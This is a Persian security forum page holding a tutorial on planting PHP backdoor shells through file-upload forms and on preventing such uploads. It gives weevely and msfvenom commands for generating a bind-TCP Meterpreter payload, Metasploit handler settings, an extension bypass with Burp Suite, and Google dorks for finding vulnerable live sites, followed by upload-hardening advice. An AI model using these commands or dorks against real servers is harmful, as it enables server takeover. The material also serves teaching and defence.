با توجه به آماده سازی و تامین زیرساخت لازم جهت تبدیل انجمن به یک منبع آموزشی در حوزه امنیت و ارزیابی امنیت، لطفا فایل های خود را در انجمن پیوست نمایید. در غیر این صورت تاپیک شما حذف خواهد شد.
جستجو در تالارهای گفتگو
در حال نمایش نتایج برای برچسب های 'weevely file upload'.
1 نتیجه پیدا شد
-
تزریق Shell در صفحات آپلود و راه های جلوگیری
یک موضوع پاسخی ارسال کرد برای Wikto در ( Remote Code Execution ( RCE
همانطور که همه می دانید کنترل فایل آپلود همیشه در معرض خطر برای توسعه دهندگان است زیرا N تعداد راه هایی برای دور زدن این کنترل وجود دارد و مهاجم می تواند به راحتی هر فایل مخرب را به سرور آپلود کند. هنگامی که فایل مخرب به سرور آپلود می شود، مهاجم به راحتی می تواند کنترل کل سرور را به دست آورد. برای توصیف کل فرآیند، این آموزش را به 4 قسمت تقسیم کردیم : تولید Shell PHP - Backdoor آپلود Shell به دست آوردن دسترسی پیشگیری از آپلود فایل 1. تولید Shell PHP - Backdoor اولین گام این است که در آن شما نیاز به ایجاد یک فایل PHP مخرب به نام shell دارید که باید از طریق کنترل آپلود فایل به یک وب سایت آپلود کنید . در اینترنت می توانید تعداد زیادی backdoor shells را پیدا کنید، اما PHP backdoor shell که آموزش می دهیم به شما کنترل سرور هدف را می دهد . اندازه شل مورد نظر ما Weevely shell کمتر از Kbs است ، به این معنی که شما می توانید آن را به هر جایی آپلود کنید و به راحتی می توانید از هر ورودی محدود شده با سایز ، عبور کنید Weevely به طور حیرت انگیز همیشه با یک عبارت کلیدی payload را رمزگذاری می کند به عبارتی فرد دیگری نمی تواند از آن برای دسترسی به سیستم هدف استفاده کند یا آن را هک کند. برای ایجاد shell از دستور زیر استفاده کنید Command: weevely generate <password> <path> علاوه بر این، شما همچنین می توانید یک payload با msfvenom ایجاد کنید که یک پیوند متنی پیکربندی PHP را ایجاد می کند. Msfvenom ابزار اصلی در چارچوب Metasploit برای ایجاد یا کدگذاری payload های مختلف است. برای تولید payload با استفاده از Msfvenom، دستور زیر را تایپ کنید: Command: msfvenom -p php/meterpreter/bind_tcp LPORT=4444 LHOST=192.168.169.137 > /root/shell1.php 2. Shell را آپلود کنید پس از ایجاد Shell با هر دو روش (Weevely و Msfvenom)، مرحله بعدی آپلود فایل مخرب (shell.php و shell1.php) به یک سرور است . ما توصیه نمی کنیم آن را با وب سایت های زنده آزمایش کنید ، اما می توانید از یک نرم افزار وب آسیب پذیر به نام (DVWA (Damm Vulnerable Web Application استفاده کنید که یک پروژه وب آسیب پذیر است . پیدا کردن برنامه های کاربردی آسیب پذیر پی اچ پی از اینترنت کار دشواری نیست ، شما می توانید به سادگی از برخی از Google Dorks مانند (inurl: page.php؟ id =) یا (inurl: page.php؟ id =) یا (inurl: adminlogin.aspx) استفاده کنید و همچنین می توانید از روش تزریق SQL بهره ببرید . بنابراین ما این برنامه DVWA را در یک ماشین مجازی ویندوز 10 که XAMPP در آن نصب است با لینک http://192.168.1.3/dvwa/index.php میزبانی می کنیم نام کاربری و رمز عبور پیش فرض: ( admin و password ) یک صفحه آپلود فایل پیدا کنید که در آن بتوانید یک فایل تصویری آپلود کنید در برخی موارد، با استفاده از جاوا اسکریپت، در سمت سرویس گیرنده ممکن است برخی از اعتبار سنجی ها وجود داشته باشد ، اما می توان آنها را با متوقف کردن و دستکاری درخواست و آپلود فایل با نام "shell.php.jpeg" به راحتی با Burp Suite کنار گذاشت. بنابراین، با توجه به موارد فوق، ما هر دو Shell مخرب را در سرور (shell.php و shell1.php) قرار دادیم. 3. به دست آوردن دسترسی این مرحله آخرین مرحله ای است که ما باید با اجرای دستور زیر، یک ارتباط دائمی با آن سرور برقرار کنیم: Command: weevely http://<your -target>/shell.php <password> اگر همه چیز درست باشد و Shell با موفقیت بر روی سرور اجرا شود ، می توانید prompt را دریافت کنید که در زیر نشان داده شده است در صورت استفاده از Metasploit، فقط یک handler payload را راه اندازی کنید که اجرای آن را می توانید در مثال زیر ببینید Commands: use exploit/multi/handler set payload php/meterpreter/bind_tcp set RHOST <target-ip> set RPORT 4444 run به محض این که فایل از طریق مرورگر وب اجرا شود یک جلسه Meterpreter باز خواهد شد . درصورت باز بودن صفحه مرورگر “loading” دسترسی حفظ خواهد شد ، اما اکنون شما نیاز به دسترسی کامل به دستگاه دارید برای همین می توانید خروجی شبیه به این را ببینید: سپس از طریق کنسول Meterpreter می توانید Shell خط فرمان را بر روی دستگاه قربانی اجرا کنید : 4. پیشگیری از آپلود فایل سیستم های مدیریت محتوا به مدیران اجازه می دهد تا تصاویر مختلف را برای پست های متفاوت آپلود کنند و سایت های مدیریت وب سایت از آپلود ها استفاده کنند تا کاربران بتوانند فایل های خود را ویرایش و اضافه کنند اکثر نفوذگران به راحتی این مسئله را درک می کنند و در مدت زمان کوتاهی با استفاده از آموزش ها، مراجع، کتاب ها و انجمن های مختلف قادر به تولید یک اسکریپت هستند در اینجا در صورت آپلود فایل، برخی از کنترل های امنیتی بررسی می شود : یک ویژگی اضافی در فیلد آپلود فایل در یک فرم باید به تگ فرم اضافه شود : enctype = "multipart / form" این تگ به مرورگر می گوید علاوه بر متن استاندارد ، یک فایل ممکن است با فرم ارسال شود . متد فرم همیشه باید POST باشد و از متد GET برای ارسال فایل استفاده نشود . همیشه یک یادآوری بر روی فرم خود داشته باشید که به کاربران بگوید فقط باید فایلهای خاصی را که مثلا در زیر اندازه 10 کیلوبایت هستند آپلود کنند. علاوه بر این، اساسا 3 مورد چک وجود دارد که باید بر روی فایل ورودی انجام شود : - همیشه یک فایل آپلود شود - فایل مورد نظر تحت یک اندازه خاصی مشخص شود - نوع و فرمت فایل همانی باشد که مدد نظر شماست برخی از پیام های خطای کاربر پسند را برای نشان دادن به کاربر در صورت خطا ایجاد کنید. برای تشخیص نوع فایل امن، همیشه از $ ['HTTP_POST_FILES ['file'] ['type متغیر استفاده کنید اگر آپلود ناموفق بود، صفحه باید دوباره نمایش داده شود. علاوه بر کنترل اعتبار اندازه فایل از طرف سرور ، می توانید حداکثر اندازه فایل را با استفاده از یک فیلد پنهان در فرم مشخص کنید که قبل از فیلد آپلود فایل نمایش داده شود: <input type=”hidden” name=”MAX_FILE_SIZE” value=”1000″> متغیر مخفی MAX_FILE_SIZE نشان دهنده حداکثر اندازه فایل (در بایت) است که مرورگر باید اجازه دهد. همانطور که با هر محدودیت سمت سرویس گیرنده، به راحتی توسط مهاجم شکست می خورد اما می تواند به عنوان یک راهنما جهت نفوذ برای کاربران قانونی خود عمل کند . محدودیت باید بر روی سرور اجرا شود تا قابل اطمینان باشد . پس از آپلود فایل به مکان نهایی ، فایل موقت باید با استفاده از تابع () unlink مسدود شود . جلوگیری از دسترسی مستقیم به فایلهای آپلود شده (خارج از ریشه) دسترسی به وب با استفاده از فایل htaccess (برای سرور Apache) هنگام اجرای یک تابع آپلود فایل، مواردی وجود دارد که باید بدانید : 1. Denial of service انکار سرویس کاربران ممکن است قادر به آپلود بسیاری از فایل های بزرگ و مصرف تمام فضای دیسک در دسترس شوند از این رو طراح برنامه ممکن است بخواهد محدودیتی در اندازه و تعداد فایل هایی که یک کاربر می تواند در یک دوره مشخص بارگذاری کند ، اجرا کند. 2. Performance عملکرد بیننده فایل ممکن است در مشاهده فایل های آپلود اغلب دچار مشکل شود و ما نیاز داریم تا آپلود فایل ها به سرعت انجام شود از این رو جهت بهبود عملکرد و روش جایگزین برای این مشکلات ، راه اندازی یک وب سرور دوم در میزبان دیگری است که کپی کردن فایل های آپلود شده به سرور دوم واگذار شود و به طور مستقیم از آن سرور خدمات فوق گرفته شود سرور دوم بایستی ایستا باشد ، به این ترتیب باید فقط فایل های مورد نظر را بپذیرد و آن را به عنوان یک فایل ذخیره شده قبول کند بدون اینکه آنها را به عنوان PHP یا هر نوع دیگر از فایل های اجرایی اجرا کند . یک رویکرد دیگر برای بهبود عملکرد در تصاویر، داشتن یک پروکسی ذخیره سازی در مقابل سرور و اطمینان از اینکه فایل ها قابل ذخیره سازی است 3. Access control کنترل دسترسی ما همیشه فرض می کنیم که هر کاربری می تواند هر یک از فایل های آپلود شده را مشاهده کند. بعضی از برنامه ها ممکن است نیاز داشته باشند که فقط کاربری که فایل را آپلود کرده بتواند آن را ببیند. در این مورد، جدول آپلود باید حاوی اطلاعاتی درباره مالکیت فایل باشد و اسکریپت مشاهده باید بررسی کند که آیا کاربر درخواست کننده پرونده مالک آن است یا نه. نتیجه پژوهش : یک برنامه نویس یا توسعه دهنده باید مراقب باشد که برنامه را برای حمله قرار ندهد . در بدترین حالت، بارگذاری فایل های مخرب اجرایی همیشه باعث آسیب پذیری های جدی می شود. مهمترین مسئله در مورد حفاظت این است که آپلود فایلها را در جایی قرار دهند که کاربران نتوانند به طور مستقیم از طریق URL دسترسی پیدا کنند . این عملیات را می توان با ذخیره فایل های آپلود شده خارج از ریشه وب یا پیکربندی وب سرور برای رد دسترسی به دایرکتوری آپلود انجام داد . یکی دیگر از اقدامات امنیتی مهم، استفاده از نام فایل های تولید شده سیستم به جای اسامی ارائه شده توسط کاربران هنگام ذخیره فایل ها در سیستم فایل است . این امر باعث جلوگیری از حملات درون فایل محلی می شود . توجه داشته باشید امکان ایجاد فایل هایی که تصاویر و اسکریپت های پی اچ پی هستند در همان زمان امکان پذیر است بنابراین بررسی نام فایل های آپلود شده، امنیت خوبی را فراهم نمی کند به ویژه برای برنامه های کاربردی که می تواند در طیف گسترده ای از سیستم عامل ها و تنظیمات سرور اعمال شود با این وجود امکان آپلود فایل را به صورت ایمن اجرا می کند و در عین حال عملکرد لازم را نیز ارائه می دهد ( کپی فقط با ذکر منبع )-
- backdoor shells
- bind shell php upload
- (و 7 مورد دیگر)
تاریخچه انجمن امنیتی ایران سایبر
شرکت امنیتی ایران سایبر با بکار گیری افراد متخصص در حوزه امنیت و ارائه راه کار در زمینه امنیت شبکه و امنیت بانک های اطلاعاتی در سال ۲۰۰۹ کار خود را آغاز نمود.
این شرکت با تعریفی جدید از ارائه خدمات و مشاوره در حوزه امنیت سازمان ها و مراکز، تست نفوذ، و برنامه نویسی در تعاملی سازنده با سازمان ها، مشتری مداری را سرلوحه کار خود قرار داده و آماده همکاری با شرکت ها و ارگان های مختلف می باشد.
آدرس های داخلی شرکت
آدرس های داخلی شرکت
رعایت قوانین
شرکت و انجمن امنیتی ایران سایبر با توجه به حضور مجاز و رسمی در محافل امنیتی و شرکت های ارزیابی امنیت ملزم به رعایت قوانین بوده و کاربران انجمن نیز ملزم به رعایت قوانین جمهوری اسلامی ایران میباشد.